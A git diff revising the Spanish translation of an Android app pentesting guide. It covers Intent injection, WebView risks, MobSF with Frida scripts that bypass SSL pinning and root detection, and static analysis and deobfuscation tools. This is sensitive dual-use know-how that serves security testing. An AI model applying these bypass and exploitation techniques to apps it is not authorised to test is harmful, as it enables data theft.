Cuando pones una aplicación en segundo plano, Android almacena un **instantáneo de la aplicación** para que cuando se recupere al primer plano, comience a cargar la imagen antes de la aplicación, por lo que parece que la aplicación se cargó más rápido.
|
||||
Cuando pones una aplicación en segundo plano, Android almacena un **instantáneo de la aplicación** para que, cuando se recupere al primer plano, comience a cargar la imagen antes de la app, por lo que parece que la app se cargó más rápido.
|
||||
|
||||
Sin embargo, si este instantáneo contiene **información sensible**, alguien con acceso al instantáneo podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
|
||||
|
||||
@ -488,7 +488,7 @@ Los desarrolladores a menudo crean componentes proxy como actividades, servicios
|
||||
|
||||
El peligro radica en permitir que los atacantes activen componentes de la aplicación no exportados o accedan a proveedores de contenido sensibles al desviar estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` a través de `Intent.parseUri(...)` y luego los ejecuta, lo que puede llevar a inyecciones de Intent maliciosas.
|
||||
|
||||
### Conclusiones Esenciales
|
||||
### Puntos Clave Esenciales
|
||||
|
||||
- **Inyección de Intents** es similar al problema de Redirección Abierta en la web.
|
||||
- Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras.
|
||||
@ -503,7 +503,7 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe
|
||||
- **Inyección de JavaScript (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusión de Archivos Locales:** Los WebViews deben tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco.
|
||||
- [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
- [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -520,46 +520,46 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Tenga en cuenta que MobSF puede analizar **Android**(apk)**, IOS**(ipa) **y Windows**(apx) aplicaciones (_Las aplicaciones de Windows deben ser analizadas desde un MobSF instalado en un host de Windows_).\
|
||||
Además, si crea un archivo **ZIP** con el código fuente de una aplicación **Android** o **IOS** (vaya a la carpeta raíz de la aplicación, seleccione todo y cree un archivo ZIP), también podrá analizarlo.
|
||||
Nota que MobSF puede analizar **Android**(apk)**, IOS**(ipa) **y Windows**(apx) aplicaciones (_Las aplicaciones de Windows deben ser analizadas desde un MobSF instalado en un host de Windows_).\
|
||||
Además, si creas un archivo **ZIP** con el código fuente de una aplicación **Android** o **IOS** (ve a la carpeta raíz de la aplicación, selecciona todo y crea un archivo ZIP), también podrá analizarlo.
|
||||
|
||||
MobSF también le permite realizar análisis de **diff/Comparar** y integrar **VirusTotal** (necesitará configurar su clave API en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Su clave API>` `VT_UPLOAD = TRUE`). También puede establecer `VT_UPLOAD` en `False`, entonces el **hash** se **subirá** en lugar del archivo.
|
||||
MobSF también te permite **diff/Comparar** análisis e integrar **VirusTotal** (necesitarás configurar tu clave API en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Tu clave API>` `VT_UPLOAD = TRUE`). También puedes establecer `VT_UPLOAD` en `False`, entonces el **hash** será **subido** en lugar del archivo.
|
||||
|
||||
### Análisis dinámico asistido con MobSF
|
||||
|
||||
**MobSF** también puede ser muy útil para el **análisis dinámico** en **Android**, pero en ese caso necesitará instalar MobSF y **genymotion** en su host (una VM o Docker no funcionará). _Nota: Necesita **iniciar primero una VM en genymotion** y **luego MobSF.**_\
|
||||
**MobSF** también puede ser muy útil para el **análisis dinámico** en **Android**, pero en ese caso necesitarás instalar MobSF y **genymotion** en tu host (una VM o Docker no funcionará). _Nota: Necesitas **iniciar primero una VM en genymotion** y **luego MobSF.**_\
|
||||
El **analizador dinámico de MobSF** puede:
|
||||
|
||||
- **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla realizadas por usted, capturas de pantalla realizadas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesita presionar cuando quiere una captura de pantalla o necesita presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas.
|
||||
- **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla hechas por ti, capturas de pantalla hechas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesitas presionar cuando quieras una captura de pantalla o necesitas presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas.
|
||||
- Capturar **tráfico HTTPS**
|
||||
- Usar **Frida** para obtener **información** **en tiempo de ejecución**
|
||||
|
||||
Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada.
|
||||
Desde las versiones de Android **> 5**, comenzará **automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada.
|
||||
|
||||
**Frida**
|
||||
|
||||
Por defecto, también utilizará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\
|
||||
Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\
|
||||
MobSF también puede **invocar actividades exportadas**, tomar **capturas de pantalla** de ellas y **guardarlas** para el informe.
|
||||
|
||||
Para **iniciar** la prueba dinámica presione el botón verde: "**Start Instrumentation**". Presione "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\
|
||||
MobSF también le permite cargar sus propios **scripts de Frida** (para enviar los resultados de sus scripts de Frida a MobSF use la función `send()`). También tiene **varios scripts preescritos** que puede cargar (puede agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciónelos**, presione "**Load**" y presione "**Start Instrumentation**" (podrá ver los registros de esos scripts dentro de "**Frida Live Logs**").
|
||||
Para **iniciar** la prueba dinámica presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\
|
||||
MobSF también te permite cargar tus propios **scripts de Frida** (para enviar los resultados de tus scripts de Frida a MobSF usa la función `send()`). También tiene **varios scripts preescritos** que puedes cargar (puedes agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciónalos**, presiona "**Load**" y presiona "**Start Instrumentation**" (podrás ver los registros de esos scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Además, tiene algunas funcionalidades auxiliares de Frida:
|
||||
Además, tienes algunas funcionalidades auxiliares de Frida:
|
||||
|
||||
- **Enumerar Clases Cargadas**: Imprimirá todas las clases cargadas
|
||||
- **Capturar Cadenas**: Imprimirá todas las cadenas capturadas mientras usa la aplicación (muy ruidoso)
|
||||
- **Capturar Cadenas**: Imprimirá todas las cadenas capturadas mientras usas la aplicación (muy ruidoso)
|
||||
- **Capturar Comparaciones de Cadenas**: Podría ser muy útil. **Mostrará las 2 cadenas que se están comparando** y si el resultado fue Verdadero o Falso.
|
||||
- **Enumerar Métodos de Clase**: Ponga el nombre de la clase (como "java.io.File") e imprimirá todos los métodos de la clase.
|
||||
- **Enumerar Métodos de Clase**: Pon el nombre de la clase (como "java.io.File") e imprimirá todos los métodos de la clase.
|
||||
- **Buscar Patrón de Clase**: Buscar clases por patrón
|
||||
- **Rastrear Métodos de Clase**: **Rastrear** una **clase completa** (ver entradas y salidas de todos los métodos de la clase). Recuerde que por defecto MobSF rastrea varios métodos interesantes de la API de Android.
|
||||
- **Rastrear Métodos de Clase**: **Rastrear** una **clase completa** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF rastrea varios métodos interesantes de la API de Android.
|
||||
|
||||
Una vez que haya seleccionado el módulo auxiliar que desea usar, necesita presionar "**Start Intrumentation**" y verá todas las salidas en "**Frida Live Logs**".
|
||||
Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas presionar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf también le ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
|
||||
Mobsf también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -595,7 +595,7 @@ Esta es una **gran herramienta para realizar análisis estático con una GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad de aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -606,7 +606,7 @@ qark --java path/to/specific/java/file.java
|
||||
|
||||
- Muestra todos los archivos extraídos para una fácil referencia
|
||||
- Descompone automáticamente archivos APK a formato Java y Smali
|
||||
- Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes
|
||||
- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamientos
|
||||
- Análisis estático del código fuente para vulnerabilidades y comportamientos comunes
|
||||
- Información del dispositivo
|
||||
- y más
|
||||
@ -619,7 +619,7 @@ SUPER es una aplicación de línea de comandos que se puede utilizar en Windows,
|
||||
|
||||
Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o probador podría crear sus propias reglas para analizar lo que necesiten.
|
||||
|
||||
Descargue los últimos binarios en la [página de descarga](https://superanalyzer.rocks/download.html)
|
||||
Descargue los últimos binarios en la [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -637,7 +637,7 @@ Descargar [última versión](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a los desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones de Android.\
|
||||
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones de Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -645,7 +645,7 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos maliciosos potenciales desarrollados por una aplicación de Android.
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos potencialmente maliciosos desarrollados por una aplicación de Android.
|
||||
|
||||
La detección se realiza con el **análisis estático** del bytecode Dalvik de la aplicación, representado como **Smali**, con la biblioteca [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
@ -666,13 +666,13 @@ Es capaz de:
|
||||
- Extraer información privada del APK usando expresiones regulares.
|
||||
- Analizar el Manifest.
|
||||
- Analizar dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) y [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Desofuscar APK a través de [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Deofuscar APK a través de [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Ofuscando/Desofuscando código
|
||||
## Ofuscando/Deofuscando código
|
||||
|
||||
Tenga en cuenta que dependiendo del servicio y la configuración que utilice para ofuscar el código. Los secretos pueden o no terminar ofuscados.
|
||||
|
||||
@ -684,7 +684,7 @@ ProGuard se distribuye como parte del SDK de Android y se ejecuta al construir l
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(De esa guía) La última vez que verificamos, el modo de operación de Dexguard era:
|
||||
|
||||
@ -700,17 +700,17 @@ Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr
|
||||
|
||||
Puedes subir un APK ofuscado a su plataforma.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
### [Deofuscar android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y desofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google.
|
||||
Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y deofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice.
|
||||
Es un **deofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas raras. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
|
||||
@ -11,14 +11,14 @@
|
||||
|
||||
### Separación de UID
|
||||
|
||||
**Cada aplicación se asigna un ID de Usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de Usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
**Cada aplicación se asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
|
||||
### Compartición de UID
|
||||
|
||||
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por esta razón, este comportamiento es **desalentado**.\
|
||||
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por esta razón, este comportamiento es **desaconsejado**.\
|
||||
**Para compartir el mismo UID, las aplicaciones deben definir el mismo valor `android:sharedUserId` en sus manifiestos.**
|
||||
|
||||
### Sandboxing
|
||||
### Sandbox
|
||||
|
||||
El **Sandbox de Aplicaciones Android** permite ejecutar **cada aplicación** como un **proceso separado bajo un ID de usuario separado**. Cada proceso tiene su propia máquina virtual, por lo que el código de una aplicación se ejecuta en aislamiento de otras aplicaciones.\
|
||||
Desde Android 5.0(L), se aplica **SELinux**. Básicamente, SELinux deniega todas las interacciones de procesos y luego crea políticas para **permitir solo las interacciones esperadas entre ellos**.
|
||||
@ -50,7 +50,7 @@ Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`
|
||||
## Rooting
|
||||
|
||||
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y **versión**.\
|
||||
Una vez que el exploit ha funcionado, generalmente se copia el binario de Linux `su` en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
Una vez que la explotación ha funcionado, generalmente se copia el binario de Linux `su` en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
|
||||
Una vez que el binario de su está configurado, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponible en Google Play Store).
|
||||
|
||||
@ -87,13 +87,13 @@ Una vez que un dispositivo está rooteado, cualquier aplicación podría solicit
|
||||
- `x86`: código para procesadores X86
|
||||
- `mips`: código solo para procesadores MIPS
|
||||
- assets/
|
||||
- Almacena archivos diversos necesarios para la aplicación, que pueden incluir bibliotecas nativas adicionales o archivos DEX, a veces utilizados por autores de malware para ocultar código adicional.
|
||||
- Almacena archivos diversos necesarios para la aplicación, potencialmente incluyendo bibliotecas nativas adicionales o archivos DEX, a veces utilizados por autores de malware para ocultar código adicional.
|
||||
- res/
|
||||
- Contiene recursos que no están compilados en resources.arsc.
|
||||
- Contiene recursos que no están compilados en resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de usar la JVM como en las aplicaciones de escritorio, Android compila este código en **bytecode ejecutable Dalvik (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este bytecode, pero ahora, el Android Runtime (ART) se encarga en las versiones más nuevas de Android.
|
||||
En el desarrollo de Android, se utiliza **Java o Kotlin** para crear aplicaciones. En lugar de usar la JVM como en las aplicaciones de escritorio, Android compila este código en **bytecode Dalvik (DEX)**. Anteriormente, la máquina virtual Dalvik manejaba este bytecode, pero ahora, el Android Runtime (ART) se encarga en las versiones más nuevas de Android.
|
||||
|
||||
Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible por humanos del bytecode DEX, actuando como un lenguaje ensamblador al traducir el código fuente en instrucciones de bytecode. Smali y baksmali se refieren a las herramientas de ensamblaje y desensamblaje en este contexto.
|
||||
|
||||
@ -102,7 +102,7 @@ Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible
|
||||
Los Intents son el medio principal por el cual las aplicaciones Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
|
||||
|
||||
Así que un Intent es básicamente un **mensaje que se pasa entre componentes**. Los Intents **pueden ser dirigidos** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
|
||||
Para simplificar, el Intent se puede usar:
|
||||
Para ser simple, el Intent se puede usar:
|
||||
|
||||
- Para iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
|
||||
- Como transmisiones para informar al sistema y a las aplicaciones sobre cambios
|
||||
@ -112,15 +112,15 @@ Para simplificar, el Intent se puede usar:
|
||||
|
||||
Si es vulnerable, **los Intents pueden ser utilizados para realizar una variedad de ataques**.
|
||||
|
||||
### Filtro de Intent
|
||||
### Filtro de Intents
|
||||
|
||||
**Los Filtros de Intent** definen **cómo una actividad, servicio o Receptor de Transmisión puede interactuar con diferentes tipos de Intents**. Esencialmente, describen las capacidades de estos componentes, como qué acciones pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del **archivo AndroidManifest.xml**, aunque para los Receptores de Transmisión, también es una opción codificarlos.
|
||||
**Los Filtros de Intents** definen **cómo una actividad, servicio o Receptor de Transmisión puede interactuar con diferentes tipos de Intents**. Esencialmente, describen las capacidades de estos componentes, como qué acciones pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del **archivo AndroidManifest.xml**, aunque para los Receptores de Transmisión, codificarlos también es una opción.
|
||||
|
||||
Los Filtros de Intent se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intents específicos que coincidan con los criterios declarados.
|
||||
Los Filtros de Intents se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intents específicos que coincidan con los criterios declarados.
|
||||
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intent para él en el manifiesto. Sin embargo, hay una manera para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** a **`false`** en sus definiciones de manifiesto.
|
||||
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** se puede establecer para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** puede configurarse para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -153,7 +153,7 @@ Un intent explícito especifica el nombre de la clase a la que está dirigido:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
En otras aplicaciones, para acceder a la intención previamente declarada, puedes usar:
|
||||
En otras aplicaciones, para acceder al intent previamente declarado, puedes usar:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
@ -169,7 +169,7 @@ A diferencia de los intents anteriores, que solo son recibidos por una app, los
|
||||
|
||||
Alternativamente, también es posible **especificar un permiso al enviar el broadcast**. La app receptora necesitará tener ese permiso.
|
||||
|
||||
Hay **dos tipos** de Broadcasts: **Normal** (asíncrono) y **Ordenado** (síncrono). El **orden** se basa en la **prioridad configurada dentro del elemento receptor**. **Cada app puede procesar, retransmitir o descartar el Broadcast.**
|
||||
Hay **dos tipos** de Broadcasts: **Normal** (asíncrono) y **Ordenado** (sincrónico). El **orden** se basa en la **prioridad configurada dentro del elemento receptor**. **Cada app puede procesar, retransmitir o descartar el Broadcast.**
|
||||
|
||||
Es posible **enviar** un **broadcast** usando la función `sendBroadcast(intent, receiverPermission)` de la clase `Context`.\ También podría usar la función **`sendBroadcast`** de **`LocalBroadCastManager`** que asegura que el **mensaje nunca salga de la app**. Usando esto, ni siquiera necesitará exportar un componente receptor.
|
||||
|
||||
@ -212,17 +212,17 @@ Para acceder a él desde la web, es posible establecer un enlace como:
|
||||
```
|
||||
Para encontrar el **código que se ejecutará en la App**, ve a la actividad llamada por el deeplink y busca la función **`onNewIntent`**.
|
||||
|
||||
Aprende a [llamar enlaces profundos sin usar páginas HTML](./#exploiting-schemes-deep-links).
|
||||
Aprende a [llamar enlaces profundos sin usar páginas HTML](#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Lenguaje de Definición de Interfaz de Android
|
||||
## AIDL - Lenguaje de Definición de Interfaces de Android
|
||||
|
||||
El **Lenguaje de Definición de Interfaz de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite el acceso directo a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos.
|
||||
|
||||
### Conceptos Clave
|
||||
|
||||
- **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, marcándolo como un área vital para la revisión de seguridad en busca de vulnerabilidades.
|
||||
|
||||
- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca para detectar cualquier manejo de datos inseguro o ejecución de funciones sensibles.
|
||||
- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca en busca de cualquier manejo de datos inseguro o ejecución de funciones sensibles.
|
||||
|
||||
- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de núcleo que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una comprensión más profunda, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
@ -249,13 +249,13 @@ Las actividades pueden estar disponibles para otras aplicaciones o procesos marc
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Sin embargo, acceder a una actividad desde otra aplicación no siempre es un riesgo de seguridad. La preocupación surge si se están compartiendo datos sensibles de manera inapropiada, lo que podría llevar a filtraciones de información.
|
||||
Sin embargo, acceder a una actividad desde otra aplicación no siempre es un riesgo de seguridad. La preocupación surge si se comparten datos sensibles de manera inapropiada, lo que podría llevar a filtraciones de información.
|
||||
|
||||
El ciclo de vida de una actividad **comienza con el método onCreate**, configurando la interfaz de usuario y preparando la actividad para la interacción con el usuario.
|
||||
|
||||
### Subclase de Aplicación
|
||||
|
||||
En el desarrollo de Android, una aplicación tiene la opción de crear una **subclase** de la clase [Application](https://developer.android.com/reference/android/app/Application), aunque no es obligatorio. Cuando se define tal subclase, se convierte en la primera clase en ser instanciada dentro de la aplicación. El método **`attachBaseContext`**, si se implementa en esta subclase, se ejecuta antes del método **`onCreate`**. Esta configuración permite una inicialización temprana antes de que comience el resto de la aplicación.
|
||||
En el desarrollo de Android, una aplicación tiene la opción de crear una **subclase** de la [Application](https://developer.android.com/reference/android/app/Application) clase, aunque no es obligatorio. Cuando se define tal subclase, se convierte en la primera clase en ser instanciada dentro de la aplicación. El método **`attachBaseContext`**, si se implementa en esta subclase, se ejecuta antes del método **`onCreate`**. Esta configuración permite una inicialización temprana antes de que comience el resto de la aplicación.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -275,7 +275,7 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) son **operativos en segundo plano** capaces de ejecutar tareas sin una interfaz de usuario. Estas tareas pueden continuar ejecutándose incluso cuando los usuarios cambian a diferentes aplicaciones, lo que hace que los servicios sean cruciales para **operaciones de larga duración**.
|
||||
|
||||
Los servicios son versátiles; pueden iniciarse de diversas maneras, siendo **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llama explícitamente al método `stopService`. Alternativamente, si el papel de un servicio depende de una conexión de cliente activa, se utiliza el método `bindService` para vincular al cliente con el servicio, activando el método `onBind` para el paso de datos.
|
||||
